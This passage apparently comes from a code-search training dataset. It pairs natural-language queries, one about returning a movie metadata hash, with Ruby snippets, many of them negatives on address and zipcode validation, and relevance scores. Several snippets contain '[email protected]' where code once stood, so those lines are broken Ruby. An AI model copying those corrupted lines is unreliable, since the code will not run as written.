params['city'], :state => params['state'],\n :country => params['country'], :zipcode => params['zipcode'] }\n end", "def validateAddress(tempString)\n\n\t\ttempString.strip!\n\n\n\t\tif (tempString =~ /,/)\n\n\t\t\treturn 0\n\t\t\t\n\t\telsif (tempString =~ /https?:\\/\\/[\\S]+/)\n\n\t\t\tif ((tempString =~ /.com/) || (tempString =~ /.co/) || (tempString =~ /.edu/) || (tempString =~ /.edu/) || (tempString =~ /.org/))\n\t\t\t\t\n\t\t\t\treturn 1\n\t\t\telse\n\t\t\t\t\n\t\t\t\treturn 0\n\n\t\t\tend\t\t\n\n\t\telse\n\n\t\t\treturn 0\n\n\t\tend\n\t\t\n\tend", "def residential_address\n return unless @user.loa3?\n\n dig_out('addresses', 'address_pou', VAProfile::Models::Address::RESIDENCE)\n end", "def check_zipcode_validity\n\t\tif (zip_code =~ /\\d{5}/) == 0\n\t\t\t#zip_code.length == 5 and \n\t\t\t# !zip_code.include? \"abcdefghijklmnopqrstuvwxyz!@#$%^&*()\"\n\t\t\tputs 'Thanks for a valid zip code!'\n\t\t\tself.call_api\n\t\t\tself.parse_api\n\t\telse\n\t\t\tputs 'Sorry friend, that zipcode is not valid. Please try again!'\n\t\tend\n\tend", "def address_one_line\n \"%s, %s, %s %s\" % [self.address_line_1, self.city, self.state_abbr, self.zipcode]\n end", "def business_details_page_enter_ltd_business_details_postcode_lookup_and_submit(companyNo: '10926928',\n companyName: 'Test Company', postcode: 'BS1 5AH',\n address: 'NATURAL ENGLAND, HORIZON HOUSE, DEANERY ROAD, BRISTOL, BS1 5AH')\n\n fill_in 'registration_company_no', with: companyNo\n fill_in 'registration_companyName', with: companyName\n fill_in 'sPostcode', with: postcode\n click_button 'find_address'\n select address\n business_details_page_submit_business_details_page\n end", "def customer_address\n { :address1 => params['addressStreet1'], :address2 => params['addressStreet2'],\n :city => params['addressCity'], :state => params['addressState'],\n :country => params['addressCountry'], :zip => params['addressZip'] }\n end", "def clean_data(options={})\n \n @final_data.each_index do |i|\n record = @final_data[i]\n if record[:name].nil? # remove no-name records\n @final_data.delete_at(i)\n next\n end\n if record[:address].nil? # remove no-address records, can't display!\n @last_log << \"WARNING: Address Missing for #{record[:name]}!\\n\"\n @final_data.delete_at(i)\n next\n end\n if record[:elder].nil?\n @last_log << \"WARNING: Elder Missing for #{record[:name]}!\\n\"\n end\n if !record[:extra].nil? # if extra data, then assume it is city/state/zip,\n # merge :address and existing :city_state_zip,\n # put :extra data into :city_state_zip\n \n # fix data\n @final_data[i][:address] = \"#{record[:address]}, #{record[:city_state_zip]}\"\n @final_data[i][:city_state_zip] = \"#{record[:extra]}\"\n @final_data[i][:extra] = nil\n \n end\n if record[:address] =~ /Apt/ and record[:address] !=~ /,/\n # insert comma for Apt to make it easier on google\n @final_data[i][:address] = \"#{record[:address].gsub(/ Apt/, \", Apt\")}\"\n# @last_log << \"NOTE: Funny address found for #{record[:name]}!\\n\"\n# @last_log << \" Address: #{record[:address]}!\\n\"\n end\n if [email protected]?(record[:elder]) # if No elder found, then report\n @last_log << \"WARNING: No Elder found for #{record[:name]}!\\n\"\n if record[:address] !=~ /\\w*\\s\\w*/ and record[:extra].nil?\n # if this is the case, very likely this is the address\n # shift data by 1 record\n @final_data[i][:city_state_zip] = record[:address]\n @final_data[i][:address] = record[:elder]\n @final_data[i][:elder] = \"No Elder\"\n end\n end\n \n # finally filter for problematic addresses that don't seem to picked up by Google Maps Geocoding properly!\n if record[:address] =~ /FM 2222/\n @final_data[i][:address] = \"#{record[:address].gsub(/FM 2222/, \"RM 2222\")}\"\n end\n if record[:address] =~ /Mo Pac/\n @final_data[i][:address] = \"#{record[:address].gsub(/Mo Pac/, \"MoPac\")}\"\n end\n \n end\nend", "def extract_regional_data\n infile, result, *others = params\n\n country_part = \"\"\n country_part << \"#{others[0]}-\" if others[0]\n country_part << \"#{others[1]}-\" if others[1]\n out_file_name = \"#{country_part}spares-and-repairs.csv\"\n\n puts; print \"Extracting rows of #{country_part.chop}\"\n\n row_filter = \"BEGINs18=='#{others[0]}'||s18=='RE_GEBIET'END\"\n\n Sycsvpro::Extractor.new(infile: infile,\n outfile: out_file_name,\n rows: row_filter).execute\n\n puts; puts \"You can find the result in #{out_file_name}\"\nend", "def is_zipcode?(address_or_zipcode)\n\t\t/\\d{5}(-| )\\d{4}$|^\\d{5}$/.match(address_or_zipcode) != nil\n\tend", "def valid?\n return false if !@first_name.nil? && @first_name.to_s.length > 30\n return false if !@first_name.nil? && @first_name !~ Regexp.new(/(?=.*[^\\s])^[^|]+$/)\n return false if @last_name.nil?\n return false if @last_name.to_s.length > 30\n return false if @last_name !~ Regexp.new(/(?=.*[^\\s])^[^|]+$/)\n return false if @address_one.nil?\n return false if @address_one.to_s.length > 50\n return false if @address_one !~ Regexp.new(/(?=.*[^\\s])^[^|]+$/)\n return false if !@address_two.nil? && @address_two.to_s.length > 30\n return false if !@address_two.nil? && @address_two !~ Regexp.new(/(?=.*[^\\s])^[^|]+$/)\n return false if @city.nil?\n return false if @city.to_s.length > 30\n return false if @city !~ Regexp.new(/(?=.*[^\\s])^[^|]+$/)\n return false if @state.nil?\n return false if @state.to_s.length > 2\n return false if @state !~ Regexp.new(/^[A-Z]{2}$/)\n return false if @zip.nil?\n return false if @zip.to_s.length > 11\n return false if @zip !~ Regexp.new(/(?=.*[^\\s])^[^|]+$/)\n return false if @phone.nil?\n return false if @phone.to_s.length > 10\n return false if @phone !~ Regexp.new(/^[0-9]+$/)\n return false if [email protected]? && @email.to_s.length > 100\n return false if [email protected]? && @email !~ Regexp.new(/(?=.*[^\\s])^[^|]+$/)\n return false if !@country_code.nil? && @country_code.to_s.length > 2\n return false if !@country_code.nil? && @country_code !~ Regexp.new(/^[A-Z]{2}$/)\n true\n end", "def validate(address)\n result = fetch_result(address)\n return result.verified? || result.unknown?\n end", "def addresses(aptArr)\n aptArr.each do |apt|\n if apt[:monthly_rent] < 700\n #puts apt[:monthly_rent]\n end\n end\n end", "def cleanse_address(address)\n cleansed_address = SOAAddressCleanser.cleanse_address(address)\n cleansed_address.save!\n end", "def address_params\n params.require(:address).permit(:address_line_1, :address_line_2, :city, :state, :country_id, :postcode)\n end", "def validate_pin(pin)\n if (pin.length == 4 || pin.length == 6) && pin.delete(\"0-9\") == \"\"\n true\n else\n false\n end\nend", "def find_residency\n a = residence_different ? res_address : address\n z = residence_different ? res_zip : zip\n a = a.gsub(\"STREET\",\"ST\");\n a = a.gsub(\"DRIVE\",\"DR\");\n a = a.gsub(\"AVENUE\",\"AVE\");\n a = a.gsub(\"ROAD\",\"RD\");\n a = a.gsub(\"LANE\",\"LN\");\n a = a.gsub(\" \",\" \");\n\n a.delete! ','\n a.delete! '.'\n a.strip!\n p = Parcel.find :first, :conditions => ['address like ? and left(PAR_ZIP, 5) = ?', a, z[0, 5]]\n if p\n exp_fire = Fire.find_by_gis_name p.DISTRICT\n exp_school = School.find_by_gis_name p.SCH_NAME\n exp_swis = SwisCode.find_by_swis_code p.SWIS\n self.fire = exp_fire ? exp_fire.pstek_name : ''\n self.school = exp_school ? exp_school.pstek_name : ''\n self.village = exp_swis ? exp_swis.pstek_village_name : ''\n self.town = exp_swis ? exp_swis.pstek_town_name : ''\n save\n end\n end", "def validate_payment_and_allowance_and_capitation_codes\r\n result = true\r\n error_message = nil\r\n facility_id_array, capitation_code_array = [], []\r\n in_patient_payment_code_array, out_patient_payment_code_array = [], []\r\n in_patient_allowance_code_array, out_patient_allowance_code_array = [], []\r\n facilities_payers_information = params[:facilities_payers_information]\r\n if !facilities_payers_information.blank?\r\n serial_numbers_added = params[:serial_numbers_for_adding_payment_or_allowance_codes]\r\n if !serial_numbers_added.blank?\r\n serial_numbers_added = serial_numbers_added.split(',')\r\n serial_numbers_added.each do |serial_number|\r\n if !serial_number.blank?\r\n facility_id_array << format_ui_param(facilities_payers_information[\"facility_id#{serial_number}\"])\r\n in_patient_payment_code_array << format_ui_param(facilities_payers_information[\"in_patient_payment_code#{serial_number}\"])\r\n out_patient_payment_code_array << format_ui_param(facilities_payers_information[\"out_patient_payment_code#{serial_number}\"])\r\n in_patient_allowance_code_array << format_ui_param(facilities_payers_information[\"in_patient_allowance_code#{serial_number}\"])\r\n out_patient_allowance_code_array << format_ui_param(facilities_payers_information[\"out_patient_allowance_code#{serial_number}\"])\r\n capitation_code_array << format_ui_param(facilities_payers_information[\"capitation_code#{serial_number}\"])\r\n end\r\n end\r\n end\r\n end\r\n\r\n result, error_message = presence_of_facility_in_associated_data(facility_id_array)\r\n return result, error_message if not result\r\n\r\n facility_id_array.each_with_index do |facility, index|\r\n if !facility.blank? && capitation_code_array[index].blank? &&\r\n in_patient_payment_code_array[index].blank? &&\r\n out_patient_payment_code_array[index].blank? &&\r\n in_patient_allowance_code_array[index].blank? &&\r\n out_patient_allowance_code_array[index].blank?\r\n result = false\r\n error_message = \"Please enter valid values for facility and payer specific data.\"\r\n end\r\n end\r\n return result, error_message\r\n end", "def validate_address\n trip_address = params[:data]\n coordinate_array = nil\n\n # Call to the geocoder API returns nil if the address cannot be geocoded\n coordinate_array = GoogleAPIGeocoder.do_geocode(trip_address)\n\n if coordinate_array.nil?\n render json: {response: \"-1\"}\n else\n render json: {response: \"1\"}\n end\n\n end", "def check_for_payment_addresses(parties)\n out = []\n parties.each do |party|\n res = party.self_check\n party.errors.map{|err| @errors << \"Party #{ party.name } #{ err }\"} unless res == true\n out << res\n end\n \n out.include?(false)\n end", "def create_full_address\n \"#{address_line1}, #{city}, #{state} #{zip}\"\n end", "def extract_postcode(address)\n postcode = \"\"\n if /[[:alpha:]]+\\d+\\s\\d+[[:alpha:]][[:alpha:]]/.match(address)\n postcode = /[[:alpha:]]+\\d+\\s\\d+[[:alpha:]][[:alpha:]]/.match(address)[0]\n end\nend", "def test_19110_address_2\n\n xExpect = @@xFile.xpath('//gmd:contactInfo[2]')\n\n hJson = JSON.parse(@@mdJson)\n hJson['dataDictionary'][0]['responsibleParty']['party'].delete_at(2)\n hJson['dataDictionary'][0]['responsibleParty']['party'].delete_at(2)\n hJson['dataDictionary'][0]['responsibleParty']['party'].delete_at(2)\n hJson['dataDictionary'][0]['responsibleParty']['party'].delete_at(2)\n hJson['dataDictionary'][0]['responsibleParty']['party'].delete_at(0)\n jsonIn = hJson.to_json\n\n hResponseObj = ADIWG::Mdtranslator.translate(\n file: jsonIn, reader: 'mdJson', writer: 'iso19110', showAllTags: true\n )\n\n xMetadata = Nokogiri::XML(hResponseObj[:writerOutput])\n xGot = xMetadata.xpath('//gmd:contactInfo')\n\n assert_equal xExpect.to_s.squeeze(' '), xGot.to_s.squeeze(' ')\n\n end", "def address_params\n params.require(:address).permit(:address_id, :line_1, :line_2, :city, :state, :zip_code, :county, :country, :community_id, :school_district)\n end", "def parse_address_verification_response(xml)\n i = 0\n list_of_verified_addresses = []\n (Hpricot.parse(xml)/:address).each do |address|\n i+=1\n h = {}\n # Check if there was an error in an address element\n if address.search(\"error\") != []\n return \"Address number #{i} has the error '#{address.search(\"description\").inner_html}' please fix before continuing\"\n end\n if address.search(\"ReturnText\") != []\n h[:verified] = false\n else\n h[:verified] = true\n end\n address.children.each { |elem| h[elem.name.to_sym] = elem.inner_text unless elem.inner_text.blank? }\n list_of_verified_addresses << h\n end\n #Check if there was an error in the basic XML formating\n if list_of_verified_addresses == []\n error = Hpricot.parse(xml)/:error\n return error.search(\"description\").inner_html\n end\n return list_of_verified_addresses\n end", "def do_full_address_assertions(res)\n assert_equal \"CA\", res.state\n assert_equal \"San Francisco\", res.city\n assert_equal \"37.792418,-122.393913\", res.ll\n assert res.is_us?\n assert_equal \"100 Spear St, San Francisco, CA 94105, USA\", res.full_address\n assert_equal \"yahoo\", res.provider\n end", "def validateaddress(bitcoinaddress)\n @api.request 'validateaddress', bitcoinaddress\n end", "def zipcode_matches_state?\n zipArray = Array.new\n zipArray[0] = /CT|MA|ME|NH|NJ|RI|VT/\n zipArray[1] = /DE|NY|PA/\n zipArray[2] = /DC|MD|NC|SC|VA|WV/\n zipArray[3] = /AL|FL|GA|MS|TN/\n zipArray[4] = /IN|KY|MI|OH/\n zipArray[5] = /IA|MN|MT|ND|SD|WI/\n zipArray[6] = /IL|KY|MO|NE/\n zipArray[7] = /AR|LA|OK|TX/\n zipArray[8] = /AZ|CO|ID|NM|NV|UT|WY/\n zipArray[9] = /AK|CA|HI|OR|WA/\n (zipArray[postalcode.chars.first.to_i] =~ province) != nil\n end", "def tests()\n a = eval('{\n \"subpremise\" => \"Flat 23\",\n \"house_number\" => \"83\",\n \"house_name\" => \"The Sorting House\",\n \"street_line_1\" => \"Newton Street\",\n \"street_line_2\" => nil,\n \"town_or_city\" => \"Manchester\",\n \"region\" => nil,\n \"postcode\" => \"M1 1ER\"\n }')\n puts getAddress(a)\n puts\n\n b = eval('{\n \"subpremise\" => nil,\n \"house_number\" => \"81\",\n \"house_name\" => nil,\n \"street_line_1\" => \"Station Road\",\n \"street_line_2\" => \"Didsbury\",\n \"town_or_city\" => \"Manchester\",\n \"region\" => nil,\n \"postcode\" => \"M20 1HR\"\n }')\n\n puts getAddress(b)\n puts\n\n c = eval('{\n \"subpremise\" => nil,\n \"house_number\" => nil,\n \"house_name\" => \"Holly House\",\n \"street_line_1\" => \"Mersey Road\",\n \"street_line_2\" => nil,\n \"town_or_city\" => \"Manchester\",\n \"region\" => nil,\n \"postcode\" => \"M33 6HL\"\n }')\n\n puts getAddress(c)\n puts\n\n d = eval('{\n \"subpremise\" => \"Apt 6\",\n \"house_number\" => \"22\",\n \"house_name\" => nil,\n \"street_line_1\" => \"Bailey Rd\",\n \"street_line_2\" => nil,\n \"town_or_city\" => \"Sale\",\n \"region\" => \"Greater Manchester\",\n \"postcode\" => \"M33 1AX\"\n }')\n\n puts getAddress(d)\n puts\nend", "def address_params\n params.require(:address).permit(:line, :street, :landmark, :city, :state, :pin_code)\n end", "def parse_address\n address = get_element('//t:RequestSecurityTokenResponse/wsp:AppliesTo/addr:EndpointReference/addr:Address')\n @validation_errors << \"Address field is empty.\" and return if address.nil?\n @validation_errors << \"Address field is incorrect.\" unless address == self.class.realm\n end", "def do_full_address_assertions(res)\n assert_equal \"CA\", res.state\n assert_equal \"San Francisco\", res.city\n assert_equal \"37.792418,-122.393913\", res.ll\n assert res.is_us?\n assert_equal \"100 Spear St, San Francisco, CA 94105-1578\", res.full_address\n assert_equal \"yahoo\", res.provider\n end", "def has_full_address?\n [street_address, locality, region, postal_code, country].any?(&:present?)\n end", "def address_for_geocode\n add = []\n add << self.address_1\n add << self.address_2 if self.address_2.present?\n add << self.address_3 if self.address_3.present?\n add << self.city if self.city.present?\n add << self.region if self.region.present?\n add << self.postcode if self.postcode.present?\n add << (self.country.present? ? self.country : 'United Kingdom')\n add.join(', ')\n end", "def find_address_details\n @address_summary = AddressSummary.new\n # Carry forward the default country otherwise it gets lost\n @address_detail = Address.find(find_params[:search_results], params[:address][:default_country])\n if @address_detail.nil?\n @address_summary.errors.add(:postcode, :no_address_find_results)\n else\n @address_summary.postcode = @address_detail.postcode\n @show_manual_address = true\n end\n @address_read_only = true\n [@address_detail, @address_summary, @address_read_only, @show_manual_address]\n end", "def validate\n errors.add(:post_office, \"- must be filled for postalcode #{self.postal_code}\") if self.post_office.blank? && !self.postal_code.blank?\n errors.add(:postal_code, \"- must be filled for #{self.post_office}\") if self.postal_code.blank? && !self.post_office.blank? \n errors.add_to_base(\"- Person must have at least one phonenumber\") if (self.phone_home.blank? && self.phone_cell.blank? && self.phone_work.blank?) \n end", "def has_valid_postal_code_pattern\n return unless format.is_a?(LocalPostal::Format)\n\n matches = Regexp.new(format.postal_code_pattern).match(postal_code)\n\n errors.add(:postal_code, 'is invalid') unless matches.to_a.length > 0\n end", "def validate(address)\n res = @client.get \"address/validate\", {:address => address}\n return res.to_h!\n end", "def define_address_line2\n @address_line2 = Faker::Address.secondary_address\n @address_line2 = '' unless @set_blank == false\n end" ]
[ "0.63251585", "0.6213452", "0.60437423", "0.6039948", "0.60354203", "0.59121114", "0.5907153", "0.5863843", "0.58017105", "0.5789128", "0.578361", "0.57539845", "0.57518685", "0.5745018", "0.57422173", "0.57257366", "0.5720446", "0.5688598", "0.5675911", "0.5674622", "0.56628215", "0.5661247", "0.56529754", "0.5579623", "0.557321", "0.5562042", "0.5547435", "0.5546721", "0.5542156", "0.55042106", "0.55021966", "0.5479061", "0.5475839", "0.5465085", "0.54598445", "0.54416466", "0.54400873", "0.541425", "0.54115885", "0.5406539", "0.54045874", "0.5393466", "0.53920454", "0.53768593", "0.53592616", "0.53557986", "0.53435266", "0.5342039", "0.53224635", "0.53193843", "0.5313543", "0.53052056", "0.53041047", "0.5299572", "0.529638", "0.5289082", "0.5288405", "0.5282022", "0.52804995", "0.52789897", "0.5273333", "0.5272835", "0.5261148", "0.52573735", "0.5239904", "0.52354014", "0.5234321", "0.5228158", "0.52099967", "0.52097714", "0.52075005", "0.5203255", "0.5202923", "0.5194628", "0.5189181", "0.51863253", "0.51852673", "0.51849234", "0.5183136", "0.5180217", "0.51778525", "0.51702696", "0.5169472", "0.51664615", "0.5162747", "0.51613265", "0.51549476", "0.51534045", "0.5149465", "0.51420355", "0.51416945", "0.5139928", "0.51364106", "0.5135237", "0.5134942", "0.51324373", "0.51308244", "0.5123186", "0.51218337", "0.5119337" ]
0.7333914
0
== Synopsis return the movie hash that contains the media meta data
def movie @movie ||= Hash.new @movie end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def media_object_hash\n fields_to_hash media_object_fields\n end", "def meta\n @meta ||= decoded_body[:meta]\n end", "def to_hash\n {\n 'meta' => {\n 'version' => version,\n 'title' => title,\n 'subtitle' => subtitle,\n 'artist' => artist,\n 'album' => album,\n 'lyricist' => lyricist,\n 'composer' => composer,\n 'copyright' => copyright,\n 'transcriber' => transcriber,\n 'instructions' => instructions,\n 'notices' => notices\n }\n }\n end", "def metadata\n metadata = {}\n @file.data.each { |key, value| metadata[key.to_sym] = value }\n\n metadata[:type] = @file.class.name.split('::')[1].downcase\n metadata[:url] = @file.url\n\n metadata[:slug] = slug\n\n metadata[:posted_at] = @file.date.to_time.to_i if @file.respond_to? :date\n metadata[:tags] = tags\n\n metadata\n end", "def to_hash\n { :file => file, :format => format, :media => media }\n end", "def meta\n meta = {}\n set_meta(meta)\n return meta\n end", "def metadata\n output = shell!(\"ffprobe -v quiet -print_format json -show_format -show_streams #{file.path.shellescape}\")\n json = JSON.parse(output)\n json.with_indifferent_access\n end", "def metadata\n output = shell!(\"ffprobe -v quiet -print_format json -show_format -show_streams #{file.path.shellescape}\")\n json = JSON.parse(output)\n json.with_indifferent_access\n end", "def mediainfo(filename)\n\n puts(\"Running mediainfo on #{filename}\") if @debug\n metadata = {}\n output = %x[mediainfo --full '#{filename}']\n\n lines = output.split(/$/)\n\n lines.each do |line|\n line.gsub! /^$\\n/, ''\n line.strip!\n\n if (line =~ /duration\\s+:\\s+(\\d+)/i && metadata[:duration] == nil)\n duration = $1.to_i\n metadata[:duration] = duration / 1000\n end\n if (line =~ /scan type\\s+:\\s+interlaced/i)\n metadata[:interlaced] = true\n end\n if (line =~ /width\\s+:\\s+1440/i)\n metadata[:needs_scaling] = true\n end\n end\n\n metadata\nend", "def build_video_metadata record, tags\n return unless record.try(:vimeo_metadata).present?\n\n {\n '@context' => 'http://schema.org',\n '@type' => 'VideoObject',\n 'publisher' => build_organization_metadata,\n 'name' => tags['og:title'],\n 'description' => tags['og:description'],\n 'uploadDate' => tags['og:article:published_time'],\n 'image' => tags['og:image'],\n 'thumbnailUrl' => tags['og:image'],\n 'contentUrl' => tags['og:video'],\n 'embedUrl' => tags['twitter:player:url'],\n 'duration' => tags['og:video:duration'],\n 'interactionCount' => record.try(:views),\n }\n end", "def metadata\n @metadata ||= Mash.new\n end", "def get_other\n @major_brand = @movie_info[:format][:tags][:major_brand]\n @duration = @movie_info[:format][:duration]\n @pixel_size = [@video_stream[:width], @video_stream[:height]]\n @frame = @video_stream[:avg_frame_rate]\n get_max_volume(@movie_info[:format][:filename])\n get_moov_atom(@movie_info[:format][:filename])\n end", "def meta\n {\n source: @host,\n favicon: @favicon,\n url: @url,\n title: title,\n description: @description,\n keywords: keywords,\n image_url: @main_image,\n extractable: extractable?\n }\n end", "def metadata\n hash.inject([]){ |list, data| list << MetaData.new(data[0], data[1][0]) }\n end", "def get_movie_bio(id)\n doc = Nokogiri::HTML(open(IMDB_URL + \"/title/\" + id))\n title = doc.css(\"h1.header\").text.split(\"\\n\").delete_if {|x| x==\"\"}.first\n bio = doc.css(\"#maindetails_center_bottom\").css(\".article p\").text\n image_link = doc.css(\"#img_primary img\").first.attributes[\"src\"].value if doc.css(\"#img_primary img\").first\n cast = get_cast(doc.css(\"table.cast_list td.name\"))\n\n {:title => title, :bio => bio, :image_link => image_link, :cast => cast}\n end", "def metadata\n self[:metadata] || {}\n end", "def metadata\n attributes['metadata'] ||= {}\n attributes['metadata']\n end", "def generate_metadata\n data = Hash.new\n data['id'] = self.id\n data['title'] = self.title\n data['author'] = self.author\n data['updated_at'] = self.updated_at\n return data\n end", "def metadata\n data = oembed || {}\n attributes.each do |attribute|\n if attribute_value = self.send(attribute)\n data[attribute] ||= attribute_value\n end\n end\n data\n end", "def meta_data\n @meta_data ||= @internal_struct[:meta_data]\n end", "def extract_metadata\n return unless audio?\n logger.debug(maudio_params[:path])\n logger.debug('It\\'s audio')\n path = maudio_params[:path]\n #url = URI.parse(path) # turn the string into a URI\n #http = Net::HTTP.new(url.host, url.port) \n #req = Net::HTTP::Get.new(url.path) # init a request with the url\n #req.range = (0..4096) # limit the load to only 4096 bytes\n #res = http.request(req) # load the mp3 file\n #child = {} # prepare an empty array to store the metadata we grab\n #open_opts = { :encoding => 'utf-8' }\n #Mp3Info.open( StringIO.open(res.body) ) do |m| #do the parsing\n # child['title'] = m.tag.title \n # child['album'] = m.tag.album \n # child['artist'] = m.tag.artist\n # child['length'] = m.length\n # \n # puts m\n #end\n #logger.debug('*********************')\n \n #logger.debug(child['length'])\n #logger.debug('*********************')\n end", "def metadata\n @meta_data\n end", "def media\n parse(delete('media'))\n end", "def meta_information\n @meta_hash ||= {}\n end", "def get_fingerprint_metadata( params )\n LastFM.get( \"track.getFingerPrintMetadata\", params )\n end", "def get_metadata\n doc = download_ais(@program_id)\n streamUri = (doc/\"//streamuri\").text\n @metadata[:fileType] = streamUri[-3..-1]\n @metadata[:programName] = (doc/\"//brandtitle\").text\n @metadata[:episodeId] = (doc/\"//programmenumber\").text\n\n assetInfo = download_asset(@program_id)\n @metadata[:episodeNumber] = (assetInfo/\"//episodenumber\").text\n @metadata[:seriesNumber] = (assetInfo/\"//seriesnumber\").text\n @metadata[:episodeInfo] = (assetInfo/\"//episodeinfo\").text\n @metadata[:episodeTitle] = (assetInfo/\"//episodetitle\").text\n @metadata[:brandTitle] = (assetInfo/\"//brandtitle\").text\n @metadata[:epId] = (assetInfo/\"//programmeid\").text\n @metadata[:imagePath] = (assetInfo/\"//imagepath\").text\n\n @metadata[:title1] = (assetInfo/\"//title1\").text\n @metadata[:title2] = (assetInfo/\"//title2\").text\n\n #progGuideUrl is used to pull out metadata from the CH4 website\n progGuideUrl = (assetInfo/\"//episodeguideurl\").text\n\n begin\n #read program guide to get additional metadata\n seriesInfo = download_progguide(progGuideUrl)\n\n synopsisElem = seriesInfo.at(\"//meta[@name='synopsis']\")\n @metadata[:description] = synopsisElem.nil? ? \"\" : synopsisElem['content']\n rescue\n @log.error \"Unable to read program guide data - the video file will not be fully tagged\"\n @log.debug \"Program Guide URL: #{progGuideUrl}\"\n end\n end", "def store_meta\n raise StandardError, 'Either file or model not defined when storing meta' unless file && model\n\n # Note: file on Heroku is CarrierWave::Storage::Fog::File but in dev it's\n # CarrierWave::SanitizedFile (whether GCLOUD_BUCKET is set or not).\n # Unfortunately don't have any explanation for the discrepancy.\n\n parsed_file = FFMPEG::Movie.new(file.file)\n model.duration = parsed_file.duration\n end", "def meta\n @d[:meta]\n end", "def to_xbmc_info\n info = Hash.new\n unless @profile.movie.blank?\n IMDB_HASH_TO_INFO_MAP.each do |key, value|\n info[value] = @profile.movie[key] unless @profile.movie[key].blank?\n end\n info['id'] = self.imdb_id if info['id'].blank?\n # special cases:\n if info['mpaa'].blank? && [email protected]['certifications'].blank?\n @profile.movie['certifications'].each do |certs|\n if certs['country'] == 'USA'\n AppConfig[:logger].info { \"Using alternative USA certification instead of mpaa rating\" }\n info['mpaa'] = certs['rating'] unless certs['rating'].blank?\n break\n end\n end\n end\n unless @profile.movie['cast_members'].blank?\n @profile.movie['cast_members'].each do |anon|\n # anon[2] => {name,role}\n info['actor'] ||= []\n info['actor'] << {'name' => anon[0], 'role' => anon[1]}\n end\n end\n info['year'] ||= @profile.movie['release_year']\n end\n info\n end", "def extract_metadata\n path = audio.queued_for_write[:original].path\n open_opts = { :encoding => 'utf-8' }\n TagLib::FileRef.open(path) do |fileref|\n tag = fileref.tag\n properties = fileref.audio_properties\n self.update_attributes(:artist => tag.artist,:album=> tag.album,:title => tag.title, :genre => tag.genre, :track_number => tag.track, :year_of_release => tag.year, :comments => tag.comment,:bitrate => properties.bitrate,:no_of_channels => properties.channels,:length=> properties.length,:sample_rate=> properties.sample_rate)\n end\n end", "def metadata\n {\n title: flickr_title,\n description: description\n }\n end", "def hash\n [format, resolution, aspect_ratio, size, fps, scale_to, quality, repeat, mute, range, poster, thumbnail, destinations].hash\n end", "def extract_meta_data(file_path)\n m = /(\\d{4})-(\\d{2})-(\\d{2})-(.+)\\.md/.match(file_path)\n {\n published_at: Date.new(m[1].to_i, m[2].to_i, m[3].to_i),\n slug: m[4]\n }\n end", "def extract_metadata\n return unless audio?\n path = upload.queued_for_write[:original].path\n open_opts = { :encoding => 'utf-8' }\n Mp3Info.open(path, open_opts) do |mp3info|\n self.metadata = mp3info.tag\n end\n end", "def extract_metadata\n return unless audio?\n path = upload.queued_for_write[:original].path\n open_opts = { :encoding => 'utf-8' }\n Mp3Info.open(path, open_opts) do |mp3info|\n self.metadata = mp3info.tag\n end\n end", "def medias_for(type)\n found = {}\n type.media_type_representations.each do |key|\n found[key] = media_types[key]\n end\n found.values\n end", "def details\n @details ||= Tmdb::Movie.detail(@id)\n return @details\n end", "def metadata\n @manifest_options[:metadata] || {}\n end", "def extract_meta\n end", "def index\n @movies = PlatformMovie.current.sort { |a, b| b.meta_score <=> a.meta_score }.collect do |movie|\n {\n image_url: movie.movie.image_url,\n platform_link: movie.platform_link,\n platform: (movie.type == 'HboMovie') ? 'hbo' : 'Showtime',\n meta_score: movie.meta_score,\n youtube: movie.movie.youtube,\n title: movie.movie.title,\n summary: movie.movie.summary,\n rating: movie.movie.rating,\n year: movie.movie.year,\n created_at: movie.started\n }\n end\n end", "def to_h\n if image_meta && image_meta['width'] && image_meta['height']\n { pid: id, src: file.url, msrc: file.tiny.url, w: image_meta['width'], h: image_meta['height'] }\n else\n # Choose some plausible default if the metadata is missing.\n { pid: id, src: file.large.url, msrc: file.tiny.url, w: 1440, h: 900 }\n end\n end", "def media_id\n changes['media_id']\n end", "def meta_decode(meta)\n return {} if meta.empty?\n Marshal.load(Base64.decode64(meta))\n end", "def header (embed_code)\n # Get the url for the passed in partner_code, secret_code and embed_code\n url = get_url('embedCode'=> embed_code)\n\n # Get the xml data for the url.\n xml_data = Net::HTTP.get_response(URI.parse(url)).body\n\n # Parse the xml document to get the values for creating meta tags\n doc = REXML::Document.new(xml_data)\n\n # Fill the hash map with the key value pairs for the required meta tags\n # by getting the values from the parsed xml\n tags = ['title', 'description', 'thumbnail', 'height', 'width', 'embedCode']\n metadata = {}\n tags.map{|tag| metadata[tag] = get_node_value(doc, tag, embed_code)}\n\n # Adjust video width to max allowed by Facebook, if required.\n if metadata['width'] != nil\n if Integer(metadata['width']) > FACEBOOK_MAX_WIDTH\n metadata['height'] = get_adjusted_height(Integer(metadata['width']), Integer(metadata['height']))\n metadata['width'] = FACEBOOK_MAX_WIDTH\n end\n end\n\t\t\n # Construct the meta tags string by substituting the values from the metadata hashmap.\n meta_tags = %Q{\n <meta name=\"medium\" content=\"video\" />\n <meta name=\"title\" content=\"#{metadata['title']}\" />\n <meta name=\"description\" content=\"#{metadata['description']}\" />\n <link rel=\"image_src\" href=\"#{metadata['thumbnail']}\" />\n <link rel=\"video_src\" href=\"http://player.ooyala.com/player.swf?\\\nembedCode=#{metadata['embedCode']}&keepEmbedCode=true\" />\n <meta name=\"video_height\" content=\"#{metadata['height']}\" />\n <meta name=\"video_width\" content=\"#{metadata['width']}\" />\n <meta name=\"video_type\" content=\"application/x-shockwave-flash\" />\n }\n\n # return the meta tags string with the values retrieved for the embedCode\n return meta_tags\n end", "def metadata\n @metadata ||= (\n if md = /\\<\\!\\-\\-\\-(.*?)\\-{2,3}\\>\\s*\\Z/m.match(content)\n YAML.load(md[1])\n else\n {}\n end\n )\n end", "def extract_metadata\n return unless audio?\n path = attachment.queued_for_write[:original].path\n open_opts = { :encoding => 'utf-8' }\n Mp3Info.open(path, open_opts) do |mp3info|\n self.metadata = mp3info.tag\n end\n end", "def general_metadata_hash\r\n metadata = Hash.new\r\n metadata[:filename] = @datafile.file_file_name\r\n metadata[:downloads] = 0\r\n\r\n metadata[:title] = clean_string(general_metadata_sheet[*WBF[:meta_title_pos]])\r\n metadata[:abstract] = clean_string(general_metadata_sheet[*WBF[:meta_abstract_pos]])\r\n metadata[:comment] = clean_string(general_metadata_sheet[*WBF[:meta_comment_pos]])\r\n metadata[:usagerights] = clean_string(general_metadata_sheet[*WBF[:meta_usagerights_pos]])\r\n metadata[:published] = 